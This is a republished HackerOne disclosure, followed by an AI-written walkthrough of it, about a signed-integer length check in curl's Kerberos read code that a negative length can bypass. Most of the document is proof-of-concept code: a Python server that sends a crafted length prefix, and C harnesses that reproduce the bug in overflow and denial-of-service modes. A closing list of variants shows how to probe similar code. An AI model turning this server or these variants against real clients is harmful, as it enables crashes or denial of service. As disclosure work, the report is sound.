Skip to content
Memory corruption Disclosed report Advanced

int overflow in krb5_read_data() leads to (possible) massive `recv()` write

In curl's Kerberos authentication code, a signed integer length read from the network is converted without checking for negative values, so a negative length bypasses the size limit and is later cast to a huge unsigned size for a receive call. The author could not confirm exploitability: on their system the oversized receive fails with a bad address error, but they suspect other systems might behave differently.

smiliesandco Follow

Originally disclosed on HackerOne

  • Disclosed after 38 hours

Summary:

(Note: AI created the PoC, not the report.)

In the krb5_read_data() function here, there are two issues (one of which I am very surprised hasn't been caught before.)

Issue #1 is that this block can result in an int overflow, where the following check becomes invalid if the value is wrapped to a negative:

    len = (int)ntohl((uint32_t)len);
    if(len > CURL_MAX_INPUT_LENGTH)
      return CURLE_TOO_LARGE;

This will then seemingly completely mess up the logic here:

    char buffer[1024];
    nread = CURLMIN(len, (int)sizeof(buffer));
    result = socket_read(data, sockindex, buffer, (size_t)nread);

Since -1 (let's say is less than 1024, nread will be passed as (size_t)-1, which will wrap to a massive number.

This eventually makes its way down to Curl_conn_recv with data[1024] and nread == ~SIZE_MAX) here and so on and so on.

It seems that this will result in an OOB read, as the buffer is only 1024-bytes long, while nread is going to be massive.

Issue #2 is that this whole code seems broken. This do-while loop continues while len is non-zero. But then len=0 is passed to decode() here. As a random guess, I imagine curlx_dyn_len(&buf->buf) should be passed, not len.

Affected version

All of them since inception, it seems.

Steps To Reproduce:

Setting up a whole krb environment is extremely difficult and annoying. This PoC is much easier, demonstrating the issue, while emulating the same code:

repro_server.py:

Python
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

krb5_len_bug_harness.c:

C
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static int connect_tcp(const char *host, const char *port) {
  struct addrinfo hints = {0}, *res = NULL;
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  int rc = getaddrinfo(host, port, &hints, &res);
  if (rc) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rc)); exit(1); }
  int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  if (fd < 0) { perror("socket"); exit(1); }
  if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); }
  freeaddrinfo(res);
  return fd;
}

static int socket_read_full(int fd, void *buf, size_t want) {
  uint8_t *p = buf; size_t got = 0;
  while (got < want) {
    ssize_t r = read(fd, p + got, want - got);
    if (r < 0) { if (errno == EINTR) continue; perror("read"); return -1; }
    if (r == 0) { fprintf(stderr, "eof\n"); return -1; }
    got += (size_t)r;
  }
  return 0;
}

// Stand-in for conn->mech->decode(...)
// We'll just report the length parameter we *received* and pretend to "decode" in place.
static int fake_decode(void *app_data, unsigned char *buf, int len, int data_prot, void *conn) {
  (void)app_data; (void)buf; (void)data_prot; (void)conn;
  fprintf(stderr, "fake_decode() was called with len=%d (should be >0 if correct)\n", len);
  // Return a positive length to mimic successful decode of existing buffer.
  return 1234;
}

int main(int argc, char **argv) {
  if (argc != 3) {
    fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
    return 2;
  }
  int fd = connect_tcp(argv[1], argv[2]);

  // --- Begin: mirror the buggy code’s control flow ---

  int len; // NOTE: intentionally 'int' to match the problematic code
  if (socket_read_full(fd, &len, sizeof(len)) != 0) return 1;

  if (len) {
    // network to host, then cast back to int (same as original)
    len = (int)ntohl((uint32_t)len);

    // Size check done against 'int' (problematic if sign bit set)
    const int CURL_MAX_INPUT_LENGTH = 100*1024*1024;
    if (len > CURL_MAX_INPUT_LENGTH) {
      fprintf(stderr, "too large\n");
      return 1;
    }
    // reset dynbuf (omitted; we’ll just malloc)
  } else {
    fprintf(stderr, "recv error (zero header)\n");
    return 1;
  }

  if (len < 0) {
    fprintf(stderr, "NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.\n");
  }

  unsigned char *dyn = NULL;
  size_t cap = 0;
  // Read loop that decrements len to zero
  while (len) {
    int nread = len < 1024 ? len : 1024; // CURLMIN(len, sizeof buffer)
    dyn = realloc(dyn, cap + (size_t)nread);
    if (!dyn) { perror("realloc"); return 1; }
    if (socket_read_full(fd, dyn + cap, (size_t)nread) != 0) return 1;
    cap += (size_t)nread;
    len -= nread;
  }

  // At this point 'len' is 0, but 'cap' is the actual number of bytes we read.
  fprintf(stderr, "after loop: actual_buffer_len=%zu, len_variable=%d\n", cap, len);

  int nread = fake_decode(NULL, dyn, len, /*data_prot*/0, NULL); // <-- passes 0
  if (nread < 0) { fprintf(stderr, "decode error\n"); return 1; }

  fprintf(stderr, "fake_decode returned %d; we would then set dynbuf length to that.\n", nread);
  free(dyn);
  close(fd);
  return 0;
}

Running them together:

python3 repro_server.py --port 9999 --netlen 0x80000010 & 
./krb5_len_bug_harness 127.0.0.1 9999

we get:

$ ./krb5_len_bug_harness 127.0.0.1 9999
client: ('127.0.0.1', 43974)  sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory

demonstrates that this code is broken.

Extra:

The question is now whether it is exploitable. I can give a solid: "I don't know".

Here is another PoC which we can test with:

C
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

// --- Minimal curl-like scaffolding ---
typedef enum {
  CURLE_OK = 0,
  CURLE_TOO_LARGE = 1,
  CURLE_RECV_ERROR = 2,
  CURLE_AGAIN = 3,
  CURLE_FAILED_INIT = 4,
  CURLE_BAD_FUNCTION_ARGUMENT = 5
} CURLcode;

#define CURL_MAX_INPUT_LENGTH (16 * 1024 * 1024) // 16 MiB for demo
#define CURLMIN(a,b) ((a) < (b) ? (a) : (b))

struct dynbuf {
  char *ptr;
  size_t len;
  size_t cap;
};

static void dyn_init(struct dynbuf *d) { d->ptr = NULL; d->len = d->cap = 0; }
static void dyn_reset(struct dynbuf *d) { d->len = 0; }
static int dyn_grow(struct dynbuf *d, size_t need) {
  if (d->cap - d->len >= need) return 0;
  size_t newcap = d->cap ? d->cap : 1024;
  while (newcap - d->len < need) {
    newcap *= 2;
  }
  char *np = (char*)realloc(d->ptr, newcap);
  if (!np) return -1;
  d->ptr = np; d->cap = newcap;
  return 0;
}
static CURLcode dyn_addn(struct dynbuf *d, const char *src, size_t n) {
  if (dyn_grow(d, n) != 0) return CURLE_RECV_ERROR;
  memcpy(d->ptr + d->len, src, n);
  d->len += n;
  return CURLE_OK;
}
static char* dyn_ptr(struct dynbuf *d) { return d->ptr; }
static size_t dyn_len(struct dynbuf *d) { return d->len; }
static void dyn_setlen(struct dynbuf *d, size_t n) { if (n <= d->cap) d->len = n; }

struct krb5buffer { struct dynbuf buf; size_t index; };

struct connectdata {
  int fd[2];
};

struct Curl_easy {
  struct connectdata *conn;
};

// --- Vulnerable helpers (mirroring the snippet) ---
static CURLcode Curl_conn_recv(struct Curl_easy *data, int sockindex,
                               char *buf, size_t blen, size_t *pnread) {
  (void)data;
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
  if (r < 0) {
    if (errno == EAGAIN || errno == EWOULDBLOCK) return CURLE_AGAIN;
    return CURLE_RECV_ERROR;
  }
  *pnread = (size_t)r;
  return CURLE_OK;
}

static CURLcode socket_read(struct Curl_easy *data, int sockindex, void *to, size_t len) {
  char *to_p = (char*)to;
  CURLcode result;
  size_t nread = 0;
  while (len > 0) {
    result = Curl_conn_recv(data, sockindex, to_p, len, &nread);
    if (result == CURLE_AGAIN) continue;
    if (result) return result;
    if (nread > len) return CURLE_RECV_ERROR;
    len -= nread;
    to_p += nread;
  }
  return CURLE_OK;
}

// --- The vulnerable function as in the snippet (bug preserved) ---
static CURLcode krb5_read_data_vuln(struct Curl_easy *data, int sockindex,
                                    struct krb5buffer *kbuf) {
  int len; // <-- signed
  CURLcode result;
  int nread;

  result = socket_read(data, sockindex, &len, sizeof(len));
  if (result) return result;

  if (len) {
    len = (int)ntohl((uint32_t)len); // potential negative value
    if (len > CURL_MAX_INPUT_LENGTH) // negative bypasses this check
      return CURLE_TOO_LARGE;
    dyn_reset(&kbuf->buf);
  } else {
    return CURLE_RECV_ERROR;
  }
  do {
    char buffer[1024]; // fixed stack buffer
    nread = CURLMIN(len, (int)sizeof(buffer)); // if len<0 -> nread<0
    result = socket_read(data, sockindex, buffer, (size_t)nread); // cast to huge size_t
    if (result) return result;
    result = dyn_addn(&kbuf->buf, buffer, (size_t)nread);
    if (result) return result;
    len -= nread;
  } while (len);

  // pretend-decode, but len is now 0 in this code path
  int dec = (int)dyn_len(&kbuf->buf);
  if (dec < 0) return CURLE_RECV_ERROR;
  dyn_setlen(&kbuf->buf, (size_t)dec);
  kbuf->index = 0;
  return CURLE_OK;
}

// --- Test harness ---
struct writer_args { int fd; int mode; };

static void* writer_thread(void *argp) {
  struct writer_args *a = (struct writer_args*)argp;
  uint32_t netlen;
  if (a->mode == 0) { // overflow: claim 0x80001000, send 4096 bytes
    uint32_t host = 0x80001000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    // send 4096 bytes
    size_t payload = 4096;
    char *buf = (char*)malloc(payload);
    memset(buf, 'A', payload);
    (void)send(a->fd, buf, payload, 0);
    free(buf);
    // keep the socket open briefly to encourage a single large recv
    usleep(100000);
  } else { // dos: claim huge, send very little then close
    uint32_t host = 0x80010000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    char tiny[8] = {0};
    (void)send(a->fd, tiny, sizeof(tiny), 0);
    // close to simulate peer disappearance
  }
  // Close writer end
  shutdown(a->fd, SHUT_WR);
  close(a->fd);
  return NULL;
}

static void set_blocking(int fd) {
  int fl = fcntl(fd, F_GETFL);
  if (fl >= 0) fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);
}

int main(int argc, char **argv) {
  int mode = 0;
  if (argc > 1) {
    if (strcmp(argv[1], "overflow") == 0) mode = 0;
    else if (strcmp(argv[1], "dos") == 0) mode = 1;
    else {
      fprintf(stderr, "Usage: %s [overflow|dos]\n", argv[0]);
      return 2;
    }
  }

  int sv[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) {
    perror("socketpair");
    return 1;
  }
  set_blocking(sv[0]);
  set_blocking(sv[1]);

  pthread_t th;
  struct writer_args wa = {.fd = sv[1], .mode = mode};
  if (pthread_create(&th, NULL, writer_thread, &wa) != 0) {
    perror("pthread_create");
    return 1;
  }

  // client side
  struct connectdata conn = { .fd = { sv[0], -1 } };
  struct Curl_easy easy = { .conn = &conn };
  struct krb5buffer kbuf;
  dyn_init(&kbuf.buf);
  kbuf.index = 0;

  CURLcode rc = krb5_read_data_vuln(&easy, 0, &kbuf);

  printf("krb5_read_data_vuln returned code: %d\n", rc);

  // Clean up
  free(kbuf.buf.ptr);
  close(sv[0]);
  pthread_join(th, NULL);
  return 0;
}

When building this and running it as ./a.out poc, it does not cause any problem:

$ ./a overflow
krb5_read_data_vuln returned code: 2

So what's going on? The "problem" is this call:

  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel

With blen now effectively 18446744071562072064, the following is effectively called:

recv(fd, buf, 18446744071562072064, 0);

This fails because that is beyond even our whole stack, and recv() is smart enough on my system to not allow this; it fail with:

strerror(errno): Bad address

which, indeed means "The system detected an invalid pointer address in attempting to use a pointer argument of a call".

I have not investigated further whether it is possible to write an amount of memory which will satisfy the kernel's limitation here, and I don't know enough about other systems, and how they work.

In any case, I thought I would report this issue here instead of via a GH issue, because while it may be "unexploitable" to me, it may not be to others.

Impact

Summary:

OOM write due to int overflow, or possibly nothing at all (due to kernel restrictions of recv()).

Also the whole function looks broken (len stuff)

The original report as published on HackerOne, by smiliesandco. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

curl speaks Kerberos 5 (GSSAPI) when it is built with the relevant support and a transfer is authenticated with a security mechanism. The code that reads the framed data coming back from the peer lives in lib/krb5.c, in a function called krb5_read_data(). The report points at a specific revision of that file, [redacted], and at three regions in it: the length handling around lines 539 to 541, the read loop around lines 549 to 551, and the decode call around lines 558 to 562.

The function reads a four-byte length prefix from the socket, converts it from network byte order, checks it against CURL_MAX_INPUT_LENGTH, and then reads that many bytes into a dynamic buffer in chunks of at most 1024 bytes. When the loop finishes, the buffer is handed to the mechanism's decode() callback.

Setup

The report says that setting up a whole Kerberos environment is extremely difficult and annoying, so the demonstration emulates the same control flow in two small programs. The report says plainly that doing so is extremely difficult and annoying, so the demonstration instead emulates the same control flow in two small programs: a Python server that sends a chosen four-byte length followed by a payload, and a C harness that mirrors the vulnerable code. The harness is compiled with:

Bash
gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c

and run as ./krb5_len_bug_harness [redacted] 9999. The report notes that the PoC was created by AI, not the report.

Finding it

The researcher reports two issues in krb5_read_data().

Issue #1 is an integer overflow in the length handling. The length is converted and checked like this:

C
    len = (int)ntohl((uint32_t)len);
    if(len > CURL_MAX_INPUT_LENGTH)
      return CURLE_TOO_LARGE;

Because len is a signed int, a length whose top bit is set becomes negative after the cast. A negative value is not greater than CURL_MAX_INPUT_LENGTH, so the check passes and the oversized length is accepted. The researcher notes surprise that this had not been caught before.

That negative value then flows into the read loop:

C
    char buffer[1024];
    nread = CURLMIN(len, (int)sizeof(buffer));
    result = socket_read(data, sockindex, buffer, (size_t)nread);

With a negative len, CURLMIN yields that negative value, and the cast to size_t turns it into a very large number. The report gives the example of -1: nread is passed as (size_t)-1, which wraps to a massive value. That value travels down to Curl_conn_recv with the 1024-byte stack buffer and nread == ~SIZE_MAX. Since the buffer is only 1024 bytes long while nread is enormous, the researcher expects an out-of-bounds read.

Issue #2 is that the surrounding logic looks broken independently of the overflow. The do-while loop continues while len is non-zero, but by the time decode() is called, len has been decremented to zero:

The researcher guesses that curlx_dyn_len(&buf->buf) should be passed instead of len, but presents this as a guess rather than a confirmed defect.

On affected versions, the report says: all of them since inception, it seems.

Exploitation

Step 1: a server that sends an attacker-chosen length

The first PoC is a Python server that accepts a connection, sends a four-byte big-endian length, and then sends a payload of that length:

Python
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("[redacted]", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

The --netlen argument is the value placed in the four-byte length field. Passing 0x80000010 sets the sign bit, which is what makes the cast in the client produce a negative number.

Step 2: a harness that mirrors the vulnerable code

The C harness reproduces the same control flow, including the signed int and the cast to size_t:

C
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness [redacted] 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static int connect_tcp(const char *host, const char *port) {
  struct addrinfo hints = {0}, *res = NULL;
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  int rc = getaddrinfo(host, port, &hints, &res);
  if (rc) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rc)); exit(1); }
  int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  if (fd < 0) { perror("socket"); exit(1); }
  if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); }
  freeaddrinfo(res);
  return fd;
}

static int socket_read_full(int fd, void *buf, size_t want) {
  uint8_t *p = buf; size_t got = 0;
  while (got < want) {
    ssize_t r = read(fd, p + got, want - got);
    if (r < 0) { if (errno == EINTR) continue; perror("read"); return -1; }
    if (r == 0) { fprintf(stderr, "eof\n"); return -1; }
    got += (size_t)r;
  }
  return 0;
}

// Stand-in for conn->mech->decode(...)
// We'll just report the length parameter we *received* and pretend to "decode" in place.
static int fake_decode(void *app_data, unsigned char *buf, int len, int data_prot, void *conn) {
  (void)app_data; (void)buf; (void)data_prot; (void)conn;
  fprintf(stderr, "fake_decode() was called with len=%d (should be >0 if correct)\n", len);
  // Return a positive length to mimic successful decode of existing buffer.
  return 1234;
}

int main(int argc, char **argv) {
  if (argc != 3) {
    fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
    return 2;
  }
  int fd = connect_tcp(argv[1], argv[2]);

  // --- Begin: mirror the buggy code’s control flow ---

  int len; // NOTE: intentionally 'int' to match the problematic code
  if (socket_read_full(fd, &len, sizeof(len)) != 0) return 1;

  if (len) {
    // network to host, then cast back to int (same as original)
    len = (int)ntohl((uint32_t)len);

    // Size check done against 'int' (problematic if sign bit set)
    const int CURL_MAX_INPUT_LENGTH = 100*1024*1024;
    if (len > CURL_MAX_INPUT_LENGTH) {
      fprintf(stderr, "too large\n");
      return 1;
    }
    // reset dynbuf (omitted; we’ll just malloc)
  } else {
    fprintf(stderr, "recv error (zero header)\n");
    return 1;
  }

  if (len < 0) {
    fprintf(stderr, "NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.\n");
  }

  unsigned char *dyn = NULL;
  size_t cap = 0;
  // Read loop that decrements len to zero
  while (len) {
    int nread = len < 1024 ? len : 1024; // CURLMIN(len, sizeof buffer)
    dyn = realloc(dyn, cap + (size_t)nread);
    if (!dyn) { perror("realloc"); return 1; }
    if (socket_read_full(fd, dyn + cap, (size_t)nread) != 0) return 1;
    cap += (size_t)nread;
    len -= nread;
  }

  // At this point 'len' is 0, but 'cap' is the actual number of bytes we read.
  fprintf(stderr, "after loop: actual_buffer_len=%zu, len_variable=%d\n", cap, len);

  int nread = fake_decode(NULL, dyn, len, /*data_prot*/0, NULL); // <-- passes 0
  if (nread < 0) { fprintf(stderr, "decode error\n"); return 1; }

  fprintf(stderr, "fake_decode returned %d; we would then set dynbuf length to that.\n", nread);
  free(dyn);
  close(fd);
  return 0;
}

The harness reads the four-byte length, applies ntohl and the cast to int, performs the same > CURL_MAX_INPUT_LENGTH check, and then loops with nread = len < 1024 ? len : 1024. It also calls a fake_decode with the final len value, which is zero, to show the second issue.

Step 3: running both together

The two programs are started together:

Bash
python3 repro_server.py --port 9999 --netlen 0x80000010 &
./krb5_len_bug_harness [redacted] 9999

The output shows the negative length surviving the check and then failing at allocation:

Text
$ ./krb5_len_bug_harness [redacted] 9999
client: ('[redacted]', 43974)  sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory

This demonstrates that the length handling is broken: the value is negative after the cast and the size check does not stop it.

Step 4: a second PoC closer to the real code

The researcher then writes a second PoC that mirrors the real functions more closely, including Curl_conn_recv, socket_read, and a krb5_read_data_vuln that preserves the bug. It uses a socket pair and a writer thread with two modes, overflow and dos:

C
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

// --- Minimal curl-like scaffolding ---
typedef enum {
  CURLE_OK = 0,
  CURLE_TOO_LARGE = 1,
  CURLE_RECV_ERROR = 2,
  CURLE_AGAIN = 3,
  CURLE_FAILED_INIT = 4,
  CURLE_BAD_FUNCTION_ARGUMENT = 5
} CURLcode;

#define CURL_MAX_INPUT_LENGTH (16 * 1024 * 1024) // 16 MiB for demo
#define CURLMIN(a,b) ((a) < (b) ? (a) : (b))

struct dynbuf {
  char *ptr;
  size_t len;
  size_t cap;
};

static void dyn_init(struct dynbuf *d) { d->ptr = NULL; d->len = d->cap = 0; }
static void dyn_reset(struct dynbuf *d) { d->len = 0; }
static int dyn_grow(struct dynbuf *d, size_t need) {
  if (d->cap - d->len >= need) return 0;
  size_t newcap = d->cap ? d->cap : 1024;
  while (newcap - d->len < need) {
    newcap *= 2;
  }
  char *np = (char*)realloc(d->ptr, newcap);
  if (!np) return -1;
  d->ptr = np; d->cap = newcap;
  return 0;
}
static CURLcode dyn_addn(struct dynbuf *d, const char *src, size_t n) {
  if (dyn_grow(d, n) != 0) return CURLE_RECV_ERROR;
  memcpy(d->ptr + d->len, src, n);
  d->len += n;
  return CURLE_OK;
}
static char* dyn_ptr(struct dynbuf *d) { return d->ptr; }
static size_t dyn_len(struct dynbuf *d) { return d->len; }
static void dyn_setlen(struct dynbuf *d, size_t n) { if (n <= d->cap) d->len = n; }

struct krb5buffer { struct dynbuf buf; size_t index; };

struct connectdata {
  int fd[2];
};

struct Curl_easy {
  struct connectdata *conn;
};

// --- Vulnerable helpers (mirroring the snippet) ---
static CURLcode Curl_conn_recv(struct Curl_easy *data, int sockindex,
                               char *buf, size_t blen, size_t *pnread) {
  (void)data;
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
  if (r < 0) {
    if (errno == EAGAIN || errno == EWOULDBLOCK) return CURLE_AGAIN;
    return CURLE_RECV_ERROR;
  }
  *pnread = (size_t)r;
  return CURLE_OK;
}

static CURLcode socket_read(struct Curl_easy *data, int sockindex, void *to, size_t len) {
  char *to_p = (char*)to;
  CURLcode result;
  size_t nread = 0;
  while (len > 0) {
    result = Curl_conn_recv(data, sockindex, to_p, len, &nread);
    if (result == CURLE_AGAIN) continue;
    if (result) return result;
    if (nread > len) return CURLE_RECV_ERROR;
    len -= nread;
    to_p += nread;
  }
  return CURLE_OK;
}

// --- The vulnerable function as in the snippet (bug preserved) ---
static CURLcode krb5_read_data_vuln(struct Curl_easy *data, int sockindex,
                                    struct krb5buffer *kbuf) {
  int len; // <-- signed
  CURLcode result;
  int nread;

  result = socket_read(data, sockindex, &len, sizeof(len));
  if (result) return result;

  if (len) {
    len = (int)ntohl((uint32_t)len); // potential negative value
    if (len > CURL_MAX_INPUT_LENGTH) // negative bypasses this check
      return CURLE_TOO_LARGE;
    dyn_reset(&kbuf->buf);
  } else {
    return CURLE_RECV_ERROR;
  }
  do {
    char buffer[1024]; // fixed stack buffer
    nread = CURLMIN(len, (int)sizeof(buffer)); // if len<0 -> nread<0
    result = socket_read(data, sockindex, buffer, (size_t)nread); // cast to huge size_t
    if (result) return result;
    result = dyn_addn(&kbuf->buf, buffer, (size_t)nread);
    if (result) return result;
    len -= nread;
  } while (len);

  // pretend-decode, but len is now 0 in this code path
  int dec = (int)dyn_len(&kbuf->buf);
  if (dec < 0) return CURLE_RECV_ERROR;
  dyn_setlen(&kbuf->buf, (size_t)dec);
  kbuf->index = 0;
  return CURLE_OK;
}

// --- Test harness ---
struct writer_args { int fd; int mode; };

static void* writer_thread(void *argp) {
  struct writer_args *a = (struct writer_args*)argp;
  uint32_t netlen;
  if (a->mode == 0) { // overflow: claim 0x80001000, send 4096 bytes
    uint32_t host = 0x80001000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    // send 4096 bytes
    size_t payload = 4096;
    char *buf = (char*)malloc(payload);
    memset(buf, 'A', payload);
    (void)send(a->fd, buf, payload, 0);
    free(buf);
    // keep the socket open briefly to encourage a single large recv
    usleep(100000);
  } else { // dos: claim huge, send very little then close
    uint32_t host = 0x80010000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    char tiny[8] = {0};
    (void)send(a->fd, tiny, sizeof(tiny), 0);
    // close to simulate peer disappearance
  }
  // Close writer end
  shutdown(a->fd, SHUT_WR);
  close(a->fd);
  return NULL;
}

static void set_blocking(int fd) {
  int fl = fcntl(fd, F_GETFL);
  if (fl >= 0) fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);
}

int main(int argc, char **argv) {
  int mode = 0;
  if (argc > 1) {
    if (strcmp(argv[1], "overflow") == 0) mode = 0;
    else if (strcmp(argv[1], "dos") == 0) mode = 1;
    else {
      fprintf(stderr, "Usage: %s [overflow|dos]\n", argv[0]);
      return 2;
    }
  }

  int sv[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) {
    perror("socketpair");
    return 1;
  }
  set_blocking(sv[0]);
  set_blocking(sv[1]);

  pthread_t th;
  struct writer_args wa = {.fd = sv[1], .mode = mode};
  if (pthread_create(&th, NULL, writer_thread, &wa) != 0) {
    perror("pthread_create");
    return 1;
  }

  // client side
  struct connectdata conn = { .fd = { sv[0], -1 } };
  struct Curl_easy easy = { .conn = &conn };
  struct krb5buffer kbuf;
  dyn_init(&kbuf.buf);
  kbuf.index = 0;

  CURLcode rc = krb5_read_data_vuln(&easy, 0, &kbuf);

  printf("krb5_read_data_vuln returned code: %d\n", rc);

  // Clean up
  free(kbuf.buf.ptr);
  close(sv[0]);
  pthread_join(th, NULL);
  return 0;
}

In overflow mode the writer claims 0x80001000 and sends 4096 bytes of A. In dos mode it claims 0x80010000, sends eight zero bytes, and closes.

Step 5: the result, and why it does not crash

Running the second PoC does not cause a problem:

Text
$ ./a overflow
krb5_read_data_vuln returned code: 2

The researcher explains why. The call in Curl_conn_recv is:

C
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel

With blen now effectively 18446744071562072064, the following is effectively called:

C
recv(fd, buf, 18446744071562072064, 0);

This fails because the requested length is beyond even the whole stack, and recv() on the researcher's system refuses it, failing with:

Text
strerror(errno): Bad address

which means the system detected an invalid pointer address in attempting to use a pointer argument of a call. The researcher states that they have not investigated further whether it is possible to write an amount of memory that satisfies the kernel's limitation, and that they do not know enough about other systems and how they work.

Root cause

The length prefix is stored in a signed int. After ntohl and the cast to int, any value with the top bit set becomes negative, and the guard if(len > CURL_MAX_INPUT_LENGTH) only rejects values that are too large in the positive direction. A negative length passes the check. In the read loop, CURLMIN(len, (int)sizeof(buffer)) then returns that negative value, and the cast to size_t in the call to socket_read turns it into a huge unsigned length. The 1024-byte stack buffer is passed together with that huge length, which is the mismatch the researcher describes as an out-of-bounds read.

The second defect is independent: the loop decrements len until it reaches zero, and then decode() is called with len, which is zero at that point. The researcher guesses that curlx_dyn_len(&buf->buf) should be passed instead, but frames this as a random guess.

On why the existing check did not stop it: the check is a signed comparison against a positive constant, so it cannot catch a wrapped negative value. The report does not describe any other defence in the path.

Impact

The report's impact section describes the outcome as an OOM write due to the integer overflow, or possibly nothing at all due to kernel restrictions on recv(). The researcher gives a solid "I don't know" on exploitability, noting that the second PoC fails with Bad address on their system and that they have not investigated whether a length can be chosen that satisfies the kernel's limit. The report also notes that the whole function looks broken because of the len handling.

The report was filed here rather than as a GitHub issue because, while it may be unexploitable to the researcher, it may not be to others. The platform records the severity as low.

Fix

The report does not describe a fix or a patch. The two changes it points at are the signed length handling, which lets a negative value through the CURL_MAX_INPUT_LENGTH check, and the decode() call, which receives len after the loop has driven it to zero; the researcher suggests curlx_dyn_len(&buf->buf) there, as a guess.

Variants to test

  1. Send a length with the top bit set, such as 0x80000010, to any code path that reads a four-byte length into a signed int and then compares it against a maximum. A positive result is the length being accepted and the subsequent read or allocation using a huge size.
  2. Try lengths just above the sign boundary, such as 0x80000000 and 0xFFFFFFFF, against the same path. A positive result is the same bypass with a different wrapped value.
  3. Exercise the dos mode of the second PoC, where the peer claims a huge length, sends a few bytes, and closes. A positive result is the client blocking or failing in a way that differs from a clean error.
